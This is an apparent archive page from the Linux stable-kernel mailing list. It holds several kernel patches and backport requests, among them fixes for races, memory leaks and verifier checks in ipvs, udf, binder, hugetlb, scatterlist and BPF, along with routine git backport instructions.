ret = size;
+
+ return ret;
+}
+
+static int test_dev_config_update_bool(const char *buf, size_t size,
+ bool *cfg)
+{
+ int ret;
+
+ mutex_lock(&test_fw_mutex);
+ ret = __test_dev_config_update_bool(buf, size, cfg);
mutex_unlock(&test_fw_mutex);
return ret;
@@ -323,7 +333,7 @@ static ssize_t test_dev_config_show_int(char *buf, int cfg)
return snprintf(buf, PAGE_SIZE, "%d\n", val);
}
-static int test_dev_config_update_u8(const char *buf, size_t size, u8 *cfg)
+static inline int __test_dev_config_update_u8(const char *buf, size_t size, u8 *cfg)
{
int ret;
long new;
@@ -335,14 +345,23 @@ static int test_dev_config_update_u8(const char *buf, size_t size, u8 *cfg)
if (new > U8_MAX)
return -EINVAL;
- mutex_lock(&test_fw_mutex);
*(u8 *)cfg = new;
- mutex_unlock(&test_fw_mutex);
/* Always return full write size even if we didn't consume all */
return size;
}
+static int test_dev_config_update_u8(const char *buf, size_t size, u8 *cfg)
+{
+ int ret;
+
+ mutex_lock(&test_fw_mutex);
+ ret = __test_dev_config_update_u8(buf, size, cfg);
+ mutex_unlock(&test_fw_mutex);
+
+ return ret;
+}
+
static ssize_t test_dev_config_show_u8(char *buf, u8 cfg)
{
u8 val;
@@ -375,10 +394,10 @@ static ssize_t config_num_requests_store(struct device *dev,
mutex_unlock(&test_fw_mutex);
goto out;
}
- mutex_unlock(&test_fw_mutex);
- rc = test_dev_config_update_u8(buf, count,
- &test_fw_config->num_requests);
+ rc = __test_dev_config_update_u8(buf, count,
+ &test_fw_config->num_requests);
+ mutex_unlock(&test_fw_mutex);
out:
return rc;
--
2.34.1
2 years, 4 months
- 3
- 2
FAILED: patch "[PATCH] ipvs: fix racy memcpy in proc_do_sync_threshold" failed to apply to 4.14-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 4.14-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-4.14.y
git checkout FETCH_HEAD
git cherry-pick -x 5310760af1d4fbea1452bfc77db5f9a680f7ae47
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023082116-unfilled-sprinkled-a76f@gregkh' --subject-prefix 'PATCH 4.14.y' HEAD^..
Possible dependencies:
5310760af1d4 ("ipvs: fix racy memcpy in proc_do_sync_threshold")
1b90af292e71 ("ipvs: Improve robustness to the ipvs sysctl")
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From 5310760af1d4fbea1452bfc77db5f9a680f7ae47 Mon Sep 17 00:00:00 2001
From: Sishuai Gong <sishuai.system(a)gmail.com>
Date: Thu, 10 Aug 2023 15:12:42 -0400
Subject: [PATCH] ipvs: fix racy memcpy in proc_do_sync_threshold
When two threads run proc_do_sync_threshold() in parallel,
data races could happen between the two memcpy():
Thread-1 Thread-2
memcpy(val, valp, sizeof(val));
memcpy(valp, val, sizeof(val));
This race might mess up the (struct ctl_table *) table->data,
so we add a mutex lock to serialize them.
Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Link: https://lore.kernel.org/netdev/B6988E90-0A1E-4B85-BF26-2DAF6D482433@gmail.c…
Signed-off-by: Sishuai Gong <sishuai.system(a)gmail.com>
Acked-by: Simon Horman <horms(a)kernel.org>
Acked-by: Julian Anastasov <ja(a)ssi.bg>
Signed-off-by: Florian Westphal <fw(a)strlen.de>
diff --git a/net/netfilter/ipvs/ip_vs_ctl.c b/net/netfilter/ipvs/ip_vs_ctl.c
index 62606fb44d02..4bb0d90eca1c 100644
--- a/net/netfilter/ipvs/ip_vs_ctl.c
+++ b/net/netfilter/ipvs/ip_vs_ctl.c
@@ -1876,6 +1876,7 @@ static int
proc_do_sync_threshold(struct ctl_table *table, int write,
void *buffer, size_t *lenp, loff_t *ppos)
{
+ struct netns_ipvs *ipvs = table->extra2;
int *valp = table->data;
int val[2];
int rc;
@@ -1885,6 +1886,7 @@ proc_do_sync_threshold(struct ctl_table *table, int write,
.mode = table->mode,
};
+ mutex_lock(&ipvs->sync_mutex);
memcpy(val, valp, sizeof(val));
rc = proc_dointvec(&tmp, write, buffer, lenp, ppos);
if (write) {
@@ -1894,6 +1896,7 @@ proc_do_sync_threshold(struct ctl_table *table, int write,
else
memcpy(valp, val, sizeof(val));
}
+ mutex_unlock(&ipvs->sync_mutex);
return rc;
}
@@ -4321,6 +4324,7 @@ static int __net_init ip_vs_control_net_init_sysctl(struct netns_ipvs *ipvs)
ipvs->sysctl_sync_threshold[0] = DEFAULT_SYNC_THRESHOLD;
ipvs->sysctl_sync_threshold[1] = DEFAULT_SYNC_PERIOD;
tbl[idx].data = &ipvs->sysctl_sync_threshold;
+ tbl[idx].extra2 = ipvs;
tbl[idx++].maxlen = sizeof(ipvs->sysctl_sync_threshold);
ipvs->sysctl_sync_refresh_period = DEFAULT_SYNC_REFRESH_PERIOD;
tbl[idx++].data = &ipvs->sysctl_sync_refresh_period;
2 years, 4 months
- 1
- 0
[PATCH 5.10 1/1] udf: Check consistency of Space Bitmap Descriptor
by Vladislav Efanov
From: Vladislav Efanov <VEfanov(a)ispras.ru>
commit 1e0d4adf17e7ef03281d7b16555e7c1508c8ed2d upstream
Bits, which are related to Bitmap Descriptor logical blocks,
are not reset when buffer headers are allocated for them. As the
result, these logical blocks can be treated as free and
be used for other blocks.This can cause usage of one buffer header
for several types of data. UDF issues WARNING in this situation:
WARNING: CPU: 0 PID: 2703 at fs/udf/inode.c:2014
__udf_add_aext+0x685/0x7d0 fs/udf/inode.c:2014
RIP: 0010:__udf_add_aext+0x685/0x7d0 fs/udf/inode.c:2014
Call Trace:
udf_setup_indirect_aext+0x573/0x880 fs/udf/inode.c:1980
udf_add_aext+0x208/0x2e0 fs/udf/inode.c:2067
udf_insert_aext fs/udf/inode.c:2233 [inline]
udf_update_extents fs/udf/inode.c:1181 [inline]
inode_getblk+0x1981/0x3b70 fs/udf/inode.c:885
Found by Linux Verification Center (linuxtesting.org) with syzkaller.
[JK: Somewhat cleaned up the boundary checks]
Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Signed-off-by: Vladislav Efanov <VEfanov(a)ispras.ru>
Signed-off-by: Jan Kara <jack(a)suse.cz>
---
Syzkaller reports this problem in 5.10 stable release. The problem has
been fixed by the following patch which can be cleanly applied to the
5.10 branch.
fs/udf/balloc.c | 31 +++++++++++++++++++++++++++----
1 file changed, 27 insertions(+), 4 deletions(-)
diff --git a/fs/udf/balloc.c b/fs/udf/balloc.c
index 8e597db4d971..ef50fd263315 100644
--- a/fs/udf/balloc.c
+++ b/fs/udf/balloc.c
@@ -36,18 +36,41 @@ static int read_block_bitmap(struct super_block *sb,
unsigned long bitmap_nr)
{
struct buffer_head *bh = NULL;
- int retval = 0;
+ int i;
+ int max_bits, off, count;
struct kernel_lb_addr loc;
loc.logicalBlockNum = bitmap->s_extPosition;
loc.partitionReferenceNum = UDF_SB(sb)->s_partition;
bh = udf_tread(sb, udf_get_lb_pblock(sb, &loc, block));
+ bitmap->s_block_bitmap[bitmap_nr] = bh;
if (!bh)
- retval = -EIO;
+ return -EIO;
- bitmap->s_block_bitmap[bitmap_nr] = bh;
- return retval;
+ /* Check consistency of Space Bitmap buffer. */
+ max_bits = sb->s_blocksize * 8;
+ if (!bitmap_nr) {
+ off = sizeof(struct spaceBitmapDesc) << 3;
+ count = min(max_bits - off, bitmap->s_nr_groups);
+ } else {
+ /*
+ * Rough check if bitmap number is too big to have any bitmap
+ * blocks reserved.
+ */
+ if (bitmap_nr >
+ (bitmap->s_nr_groups >> (sb->s_blocksize_bits + 3)) + 2)
+ return 0;
+ off = 0;
+ count = bitmap->s_nr_groups - bitmap_nr * max_bits +
+ (sizeof(struct spaceBitmapDesc) << 3);
+ count = min(count, max_bits);
+ }
+
+ for (i = 0; i < count; i++)
+ if (udf_test_bit(i + off, bh->b_data))
+ return -EFSCORRUPTED;
+ return 0;
}
static int __load_block_bitmap(struct super_block *sb,
--
2.34.1
2 years, 4 months
- 2
- 1
FAILED: patch "[PATCH] binder: fix memory leak in binder_init()" failed to apply to 4.14-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 4.14-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-4.14.y
git checkout FETCH_HEAD
git cherry-pick -x adb9743d6a08778b78d62d16b4230346d3508986
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023081201-exhale-bonelike-1800@gregkh' --subject-prefix 'PATCH 4.14.y' HEAD^..
Possible dependencies:
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From adb9743d6a08778b78d62d16b4230346d3508986 Mon Sep 17 00:00:00 2001
From: Qi Zheng <zhengqi.arch(a)bytedance.com>
Date: Sun, 25 Jun 2023 15:49:37 +0000
Subject: [PATCH] binder: fix memory leak in binder_init()
In binder_init(), the destruction of binder_alloc_shrinker_init() is not
performed in the wrong path, which will cause memory leaks. So this commit
introduces binder_alloc_shrinker_exit() and calls it in the wrong path to
fix that.
Signed-off-by: Qi Zheng <zhengqi.arch(a)bytedance.com>
Acked-by: Carlos Llamas <cmllamas(a)google.com>
Fixes: f2517eb76f1f ("android: binder: Add global lru shrinker to binder")
Cc: stable <stable(a)kernel.org>
Link: https://lore.kernel.org/r/20230625154937.64316-1-qi.zheng@linux.dev
Signed-off-by: Greg Kroah-Hartman <gregkh(a)linuxfoundation.org>
diff --git a/drivers/android/binder.c b/drivers/android/binder.c
index 486c8271cab7..d720f93d8b19 100644
--- a/drivers/android/binder.c
+++ b/drivers/android/binder.c
@@ -6617,6 +6617,7 @@ static int __init binder_init(void)
err_alloc_device_names_failed:
debugfs_remove_recursive(binder_debugfs_dir_entry_root);
+ binder_alloc_shrinker_exit();
return ret;
}
diff --git a/drivers/android/binder_alloc.c b/drivers/android/binder_alloc.c
index 662a2a2e2e84..e3db8297095a 100644
--- a/drivers/android/binder_alloc.c
+++ b/drivers/android/binder_alloc.c
@@ -1087,6 +1087,12 @@ int binder_alloc_shrinker_init(void)
return ret;
}
+void binder_alloc_shrinker_exit(void)
+{
+ unregister_shrinker(&binder_shrinker);
+ list_lru_destroy(&binder_alloc_lru);
+}
+
/**
* check_buffer() - verify that buffer/offset is safe to access
* @alloc: binder_alloc for this proc
diff --git a/drivers/android/binder_alloc.h b/drivers/android/binder_alloc.h
index 138d1d5af9ce..dc1e2b01dd64 100644
--- a/drivers/android/binder_alloc.h
+++ b/drivers/android/binder_alloc.h
@@ -129,6 +129,7 @@ extern struct binder_buffer *binder_alloc_new_buf(struct binder_alloc *alloc,
int pid);
extern void binder_alloc_init(struct binder_alloc *alloc);
extern int binder_alloc_shrinker_init(void);
+extern void binder_alloc_shrinker_exit(void);
extern void binder_alloc_vma_close(struct binder_alloc *alloc);
extern struct binder_buffer *
binder_alloc_prepare_to_free(struct binder_alloc *alloc,
2 years, 4 months
- 3
- 2
FAILED: patch "[PATCH] hugetlb: do not clear hugetlb dtor until allocating vmemmap" failed to apply to 6.1-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 6.1-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-6.1.y
git checkout FETCH_HEAD
git cherry-pick -x 32c877191e022b55fe3a374f3d7e9fb5741c514d
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023081202-unloader-t-shirt-eb23@gregkh' --subject-prefix 'PATCH 6.1.y' HEAD^..
Possible dependencies:
32c877191e02 ("hugetlb: do not clear hugetlb dtor until allocating vmemmap")
d6ef19e25df2 ("mm/hugetlb: convert update_and_free_page() to folios")
cfd5082b5147 ("mm/hugetlb: convert remove_hugetlb_page() to folios")
1a7cdab59b22 ("mm/hugetlb: convert dissolve_free_huge_page() to folios")
911565b82853 ("mm/hugetlb: convert destroy_compound_gigantic_page() to folios")
cb67f4282bf9 ("mm,thp,rmap: simplify compound page mapcount handling")
dad6a5eb5556 ("mm,hugetlb: use folio fields in second tail page")
0356c4b96f68 ("mm/hugetlb: convert free_huge_page to folios")
de656ed376c4 ("mm/hugetlb_cgroup: convert set_hugetlb_cgroup*() to folios")
f074732d599e ("mm/hugetlb_cgroup: convert hugetlb_cgroup_from_page() to folios")
a098c977722c ("mm/hugetlb_cgroup: convert __set_hugetlb_cgroup() to folios")
4781593d5dba ("mm/hugetlb: unify clearing of RestoreReserve for private pages")
149562f75094 ("mm/hugetlb: add hugetlb_folio_subpool() helpers")
d340625f4849 ("mm: add private field of first tail to struct page and struct folio")
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From 32c877191e022b55fe3a374f3d7e9fb5741c514d Mon Sep 17 00:00:00 2001
From: Mike Kravetz <mike.kravetz(a)oracle.com>
Date: Tue, 11 Jul 2023 15:09:41 -0700
Subject: [PATCH] hugetlb: do not clear hugetlb dtor until allocating vmemmap
Patch series "Fix hugetlb free path race with memory errors".
In the discussion of Jiaqi Yan's series "Improve hugetlbfs read on
HWPOISON hugepages" the race window was discovered.
https://lore.kernel.org/linux-mm/20230616233447.GB7371@monkey/
Freeing a hugetlb page back to low level memory allocators is performed
in two steps.
1) Under hugetlb lock, remove page from hugetlb lists and clear destructor
2) Outside lock, allocate vmemmap if necessary and call low level free
Between these two steps, the hugetlb page will appear as a normal
compound page. However, vmemmap for tail pages could be missing.
If a memory error occurs at this time, we could try to update page
flags non-existant page structs.
A much more detailed description is in the first patch.
The first patch addresses the race window. However, it adds a
hugetlb_lock lock/unlock cycle to every vmemmap optimized hugetlb page
free operation. This could lead to slowdowns if one is freeing a large
number of hugetlb pages.
The second path optimizes the update_and_free_pages_bulk routine to only
take the lock once in bulk operations.
The second patch is technically not a bug fix, but includes a Fixes tag
and Cc stable to avoid a performance regression. It can be combined with
the first, but was done separately make reviewing easier.
This patch (of 2):
Freeing a hugetlb page and releasing base pages back to the underlying
allocator such as buddy or cma is performed in two steps:
- remove_hugetlb_folio() is called to remove the folio from hugetlb
lists, get a ref on the page and remove hugetlb destructor. This
all must be done under the hugetlb lock. After this call, the page
can be treated as a normal compound page or a collection of base
size pages.
- update_and_free_hugetlb_folio() is called to allocate vmemmap if
needed and the free routine of the underlying allocator is called
on the resulting page. We can not hold the hugetlb lock here.
One issue with this scheme is that a memory error could occur between
these two steps. In this case, the memory error handling code treats
the old hugetlb page as a normal compound page or collection of base
pages. It will then try to SetPageHWPoison(page) on the page with an
error. If the page with error is a tail page without vmemmap, a write
error will occur when trying to set the flag.
Address this issue by modifying remove_hugetlb_folio() and
update_and_free_hugetlb_folio() such that the hugetlb destructor is not
cleared until after allocating vmemmap. Since clearing the destructor
requires holding the hugetlb lock, the clearing is done in
remove_hugetlb_folio() if the vmemmap is present. This saves a
lock/unlock cycle. Otherwise, destructor is cleared in
update_and_free_hugetlb_folio() after allocating vmemmap.
Note that this will leave hugetlb pages in a state where they are marked
free (by hugetlb specific page flag) and have a ref count. This is not
a normal state. The only code that would notice is the memory error
code, and it is set up to retry in such a case.
A subsequent patch will create a routine to do bulk processing of
vmemmap allocation. This will eliminate a lock/unlock cycle for each
hugetlb page in the case where we are freeing a large number of pages.
Link: https://lkml.kernel.org/r/20230711220942.43706-1-mike.kravetz@oracle.com
Link: https://lkml.kernel.org/r/20230711220942.43706-2-mike.kravetz@oracle.com
Fixes: ad2fa3717b74 ("mm: hugetlb: alloc the vmemmap pages associated with each HugeTLB page")
Signed-off-by: Mike Kravetz <mike.kravetz(a)oracle.com>
Reviewed-by: Muchun Song <songmuchun(a)bytedance.com>
Tested-by: Naoya Horiguchi <naoya.horiguchi(a)nec.com>
Cc: Axel Rasmussen <axelrasmussen(a)google.com>
Cc: James Houghton <jthoughton(a)google.com>
Cc: Jiaqi Yan <jiaqiyan(a)google.com>
Cc: Miaohe Lin <linmiaohe(a)huawei.com>
Cc: Michal Hocko <mhocko(a)suse.com>
Cc: <stable(a)vger.kernel.org>
Signed-off-by: Andrew Morton <akpm(a)linux-foundation.org>
diff --git a/mm/hugetlb.c b/mm/hugetlb.c
index 64a3239b6407..6da626bfb52e 100644
--- a/mm/hugetlb.c
+++ b/mm/hugetlb.c
@@ -1579,9 +1579,37 @@ static inline void destroy_compound_gigantic_folio(struct folio *folio,
unsigned int order) { }
#endif
+static inline void __clear_hugetlb_destructor(struct hstate *h,
+ struct folio *folio)
+{
+ lockdep_assert_held(&hugetlb_lock);
+
+ /*
+ * Very subtle
+ *
+ * For non-gigantic pages set the destructor to the normal compound
+ * page dtor. This is needed in case someone takes an additional
+ * temporary ref to the page, and freeing is delayed until they drop
+ * their reference.
+ *
+ * For gigantic pages set the destructor to the null dtor. This
+ * destructor will never be called. Before freeing the gigantic
+ * page destroy_compound_gigantic_folio will turn the folio into a
+ * simple group of pages. After this the destructor does not
+ * apply.
+ *
+ */
+ if (hstate_is_gigantic(h))
+ folio_set_compound_dtor(folio, NULL_COMPOUND_DTOR);
+ else
+ folio_set_compound_dtor(folio, COMPOUND_PAGE_DTOR);
+}
+
/*
- * Remove hugetlb folio from lists, and update dtor so that the folio appears
- * as just a compound page.
+ * Remove hugetlb folio from lists.
+ * If vmemmap exists for the folio, update dtor so that the folio appears
+ * as just a compound page. Otherwise, wait until after allocating vmemmap
+ * to update dtor.
*
* A reference is held on the folio, except in the case of demote.
*
@@ -1612,31 +1640,19 @@ static void __remove_hugetlb_folio(struct hstate *h, struct folio *folio,
}
/*
- * Very subtle
- *
- * For non-gigantic pages set the destructor to the normal compound
- * page dtor. This is needed in case someone takes an additional
- * temporary ref to the page, and freeing is delayed until they drop
- * their reference.
- *
- * For gigantic pages set the destructor to the null dtor. This
- * destructor will never be called. Before freeing the gigantic
- * page destroy_compound_gigantic_folio will turn the folio into a
- * simple group of pages. After this the destructor does not
- * apply.
- *
- * This handles the case where more than one ref is held when and
- * after update_and_free_hugetlb_folio is called.
- *
- * In the case of demote we do not ref count the page as it will soon
- * be turned into a page of smaller size.
+ * We can only clear the hugetlb destructor after allocating vmemmap
+ * pages. Otherwise, someone (memory error handling) may try to write
+ * to tail struct pages.
+ */
+ if (!folio_test_hugetlb_vmemmap_optimized(folio))
+ __clear_hugetlb_destructor(h, folio);
+
+ /*
+ * In the case of demote we do not ref count the page as it will soon
+ * be turned into a page of smaller size.
*/
if (!demote)
folio_ref_unfreeze(folio, 1);
- if (hstate_is_gigantic(h))
- folio_set_compound_dtor(folio, NULL_COMPOUND_DTOR);
- else
- folio_set_compound_dtor(folio, COMPOUND_PAGE_DTOR);
h->nr_huge_pages--;
h->nr_huge_pages_node[nid]--;
@@ -1705,6 +1721,7 @@ static void __update_and_free_hugetlb_folio(struct hstate *h,
{
int i;
struct page *subpage;
+ bool clear_dtor = folio_test_hugetlb_vmemmap_optimized(folio);
if (hstate_is_gigantic(h) && !gigantic_page_runtime_supported())
return;
@@ -1735,6 +1752,16 @@ static void __update_and_free_hugetlb_folio(struct hstate *h,
if (unlikely(folio_test_hwpoison(folio)))
folio_clear_hugetlb_hwpoison(folio);
+ /*
+ * If vmemmap pages were allocated above, then we need to clear the
+ * hugetlb destructor under the hugetlb lock.
+ */
+ if (clear_dtor) {
+ spin_lock_irq(&hugetlb_lock);
+ __clear_hugetlb_destructor(h, folio);
+ spin_unlock_irq(&hugetlb_lock);
+ }
+
for (i = 0; i < pages_per_huge_page(h); i++) {
subpage = folio_page(folio, i);
subpage->flags &= ~(1 << PG_locked | 1 << PG_error |
2 years, 4 months
- 3
- 2
[6.1.y] Assertion with 7xxx dGPUs
by Limonciello, Mario
Hi,
In addition to the hang fix patches recently this other patch is needed
for helping a case that ASSERT() catches.
74fa4c81aadf ("drm/amd/display: Implement workaround for writing to
OTG_PIXEL_RATE_DIV register")
Can you please take this to stable 6.1.y too?
Link: https://gitlab.freedesktop.org/drm/amd/-/issues/2466
Thanks,
2 years, 4 months
- 2
- 1
proc_lseek backport request
by t.martitz＠avm.de
Dear stable team,
I'm asking that
commit 3f61631d47f1 ("take care to handle NULL ->proc_lseek()")
gets backported to the stable and LTS kernels down to 5.10.
Background:
We are in the process of upgrading our kernels. One target kernel
is based on 5.15 LTS.
Here we found that, if proc file drivers do not implement proc_lseek,
user space crashes easily, because various library routines internally
perform lseek(2). The crash happens in proc_reg_llseek, where it
wants to jump to a NULL pointer.
We could, arguably, fix these drivers to use ".proc_lseek = no_llseek".
But this doesn't seem like a worthwhile path forward, considering that
latest Linux kernels (including 6.1 LTS) allow proc_lseek == NULL again
and *remove* no_lseek. Essentially, on HEAD, it's best practice to leave
proc_lseek == NULL.
Therefore, I ask that the above procfs fix gets backported so that our
drivers can work across all kernel versions, including latest 6.x.
I checked that this commit applies and works as expected on a board that
runs Linux 5.15, and the observed crash goes away.
Furthermore, I investigated that the fix applies to older LTS kernels, down
to 5.10. The lseek(2) path uses vfs_llseek() which checks for FMODE_LSEEK. This
has been like that forever since the initial git import. However, 5.4 LTS and
older kernels do not have "struct proc_ops".
Thank you in advance.
Best regards,
Thomas Martitz
2 years, 4 months
- 4
- 5
[PATCH 0/2] Backport unlink misfit patches into 6.1.y
by Qais Yousef
Decoupling misfit from overutilized better helps handling misfit due to
uclamp_min only being misfit without triggering overutilized state, which is
bad from energy point of view as it prematurely disables energy aware
scheduling.
The series also makes the search for a better CPU under bad thermal condition
more comprehensive, which is useful improvement when the system is under bad
thermal condition.
Backports to 5.10.y and 5.15.y is hard as find_energy_efficient_cpu() is
different. But it applies cleanly on 6.1.y
Compile tested against various randconfigs for different archs.
Boot tested on android14-6.1 GKI kernel.
Based on v6.1.46
Original series
https://lore.kernel.org/lkml/20230201143628.270912-1-vincent.guittot@linaro…
Thanks!
--
Qais Yousef
Vincent Guittot (2):
sched/fair: unlink misfit task from cpu overutilized
sched/fair: Remove capacity inversion detection
kernel/sched/fair.c | 189 ++++++++++++++++++++-----------------------
kernel/sched/sched.h | 19 -----
2 files changed, 87 insertions(+), 121 deletions(-)
--
2.34.1
2 years, 4 months
- 2
- 3
FAILED: patch "[PATCH] crypto, cifs: fix error handling in extract_iter_to_sg()" failed to apply to 6.4-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 6.4-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-6.4.y
git checkout FETCH_HEAD
git cherry-pick -x f443fd5af5dbd531f880d3645d5dd36976cf087f
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023081209-reopen-fantasy-7692@gregkh' --subject-prefix 'PATCH 6.4.y' HEAD^..
Possible dependencies:
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From f443fd5af5dbd531f880d3645d5dd36976cf087f Mon Sep 17 00:00:00 2001
From: David Howells <dhowells(a)redhat.com>
Date: Wed, 26 Jul 2023 11:57:56 +0100
Subject: [PATCH] crypto, cifs: fix error handling in extract_iter_to_sg()
Fix error handling in extract_iter_to_sg(). Pages need to be unpinned, not
put in extract_user_to_sg() when handling IOVEC/UBUF sources.
The bug may result in a warning like the following:
WARNING: CPU: 1 PID: 20384 at mm/gup.c:229 __lse_atomic_add arch/arm64/include/asm/atomic_lse.h:27 [inline]
WARNING: CPU: 1 PID: 20384 at mm/gup.c:229 arch_atomic_add arch/arm64/include/asm/atomic.h:28 [inline]
WARNING: CPU: 1 PID: 20384 at mm/gup.c:229 raw_atomic_add include/linux/atomic/atomic-arch-fallback.h:537 [inline]
WARNING: CPU: 1 PID: 20384 at mm/gup.c:229 atomic_add include/linux/atomic/atomic-instrumented.h:105 [inline]
WARNING: CPU: 1 PID: 20384 at mm/gup.c:229 try_grab_page+0x108/0x160 mm/gup.c:252
...
pc : try_grab_page+0x108/0x160 mm/gup.c:229
lr : follow_page_pte+0x174/0x3e4 mm/gup.c:651
...
Call trace:
__lse_atomic_add arch/arm64/include/asm/atomic_lse.h:27 [inline]
arch_atomic_add arch/arm64/include/asm/atomic.h:28 [inline]
raw_atomic_add include/linux/atomic/atomic-arch-fallback.h:537 [inline]
atomic_add include/linux/atomic/atomic-instrumented.h:105 [inline]
try_grab_page+0x108/0x160 mm/gup.c:252
follow_pmd_mask mm/gup.c:734 [inline]
follow_pud_mask mm/gup.c:765 [inline]
follow_p4d_mask mm/gup.c:782 [inline]
follow_page_mask+0x12c/0x2e4 mm/gup.c:839
__get_user_pages+0x174/0x30c mm/gup.c:1217
__get_user_pages_locked mm/gup.c:1448 [inline]
__gup_longterm_locked+0x94/0x8f4 mm/gup.c:2142
internal_get_user_pages_fast+0x970/0xb60 mm/gup.c:3140
pin_user_pages_fast+0x4c/0x60 mm/gup.c:3246
iov_iter_extract_user_pages lib/iov_iter.c:1768 [inline]
iov_iter_extract_pages+0xc8/0x54c lib/iov_iter.c:1831
extract_user_to_sg lib/scatterlist.c:1123 [inline]
extract_iter_to_sg lib/scatterlist.c:1349 [inline]
extract_iter_to_sg+0x26c/0x6fc lib/scatterlist.c:1339
hash_sendmsg+0xc0/0x43c crypto/algif_hash.c:117
sock_sendmsg_nosec net/socket.c:725 [inline]
sock_sendmsg+0x54/0x60 net/socket.c:748
____sys_sendmsg+0x270/0x2ac net/socket.c:2494
___sys_sendmsg+0x80/0xdc net/socket.c:2548
__sys_sendmsg+0x68/0xc4 net/socket.c:2577
__do_sys_sendmsg net/socket.c:2586 [inline]
__se_sys_sendmsg net/socket.c:2584 [inline]
__arm64_sys_sendmsg+0x24/0x30 net/socket.c:2584
__invoke_syscall arch/arm64/kernel/syscall.c:38 [inline]
invoke_syscall+0x48/0x114 arch/arm64/kernel/syscall.c:52
el0_svc_common.constprop.0+0x44/0xe4 arch/arm64/kernel/syscall.c:142
do_el0_svc+0x38/0xa4 arch/arm64/kernel/syscall.c:191
el0_svc+0x2c/0xb0 arch/arm64/kernel/entry-common.c:647
el0t_64_sync_handler+0xc0/0xc4 arch/arm64/kernel/entry-common.c:665
el0t_64_sync+0x19c/0x1a0 arch/arm64/kernel/entry.S:591
Link: https://lkml.kernel.org/r/20571.1690369076@warthog.procyon.org.uk
Fixes: 018584697533 ("netfs: Add a function to extract an iterator into a scatterlist")
Reported-by: syzbot+9b82859567f2e50c123e(a)syzkaller.appspotmail.com
Link: https://lore.kernel.org/linux-mm/000000000000273d0105ff97bf56@google.com/
Signed-off-by: David Howells <dhowells(a)redhat.com>
Reviewed-by: David Hildenbrand <david(a)redhat.com>
Acked-by: Steve French <stfrench(a)microsoft.com>
Cc: Sven Schnelle <svens(a)linux.ibm.com>
Cc: Herbert Xu <herbert(a)gondor.apana.org.au>
Cc: Jeff Layton <jlayton(a)kernel.org>
Cc: Shyam Prasad N <nspmangalore(a)gmail.com>
Cc: Rohith Surabattula <rohiths.msft(a)gmail.com>
Cc: Jens Axboe <axboe(a)kernel.dk>
Cc: "David S. Miller" <davem(a)davemloft.net>
Cc: Eric Dumazet <edumazet(a)google.com>
Cc: Jakub Kicinski <kuba(a)kernel.org>
Cc: Paolo Abeni <pabeni(a)redhat.com>
Cc: Matthew Wilcox <willy(a)infradead.org>
Cc: <stable(a)vger.kernel.org>
Signed-off-by: Andrew Morton <akpm(a)linux-foundation.org>
diff --git a/lib/scatterlist.c b/lib/scatterlist.c
index e86231a44c3d..c65566b4dc66 100644
--- a/lib/scatterlist.c
+++ b/lib/scatterlist.c
@@ -1148,7 +1148,7 @@ static ssize_t extract_user_to_sg(struct iov_iter *iter,
failed:
while (sgtable->nents > sgtable->orig_nents)
- put_page(sg_page(&sgtable->sgl[--sgtable->nents]));
+ unpin_user_page(sg_page(&sgtable->sgl[--sgtable->nents]));
return res;
}
2 years, 4 months
- 3
- 2
[PATCH bpf-next 1/2] bpf: Fix issue in verifying allow_ptr_leaks
by Yafang Shao
After we converted the capabilities of our networking-bpf program from
cap_sys_admin to cap_net_admin+cap_bpf, our networking-bpf program
failed to start. Because it failed the bpf verifier, and the error log
is "R3 pointer comparison prohibited".
A simple reproducer as follows,
SEC("cls-ingress")
int ingress(struct __sk_buff *skb)
{
struct iphdr *iph = (void *)(long)skb->data + sizeof(struct ethhdr);
if ((long)(iph + 1) > (long)skb->data_end)
return TC_ACT_STOLEN;
return TC_ACT_OK;
}
Per discussion with Yonghong and Alexei [1], comparison of two packet
pointers is not a pointer leak. This patch fixes it.
Our local kernel is 6.1.y and we expect this fix to be backported to
6.1.y, so stable is CCed.
[1]. https://lore.kernel.org/bpf/CAADnVQ+Nmspr7Si+pxWn8zkE7hX-7s93ugwC+94aXSy4uQ…
Suggested-by: Yonghong Song <yonghong.song(a)linux.dev>
Suggested-by: Alexei Starovoitov <alexei.starovoitov(a)gmail.com>
Signed-off-by: Yafang Shao <laoar.shao(a)gmail.com>
Cc: stable(a)vger.kernel.org
---
kernel/bpf/verifier.c | 17 +++++++++--------
1 file changed, 9 insertions(+), 8 deletions(-)
diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c
index 4ccca1f..b6b60cd 100644
--- a/kernel/bpf/verifier.c
+++ b/kernel/bpf/verifier.c
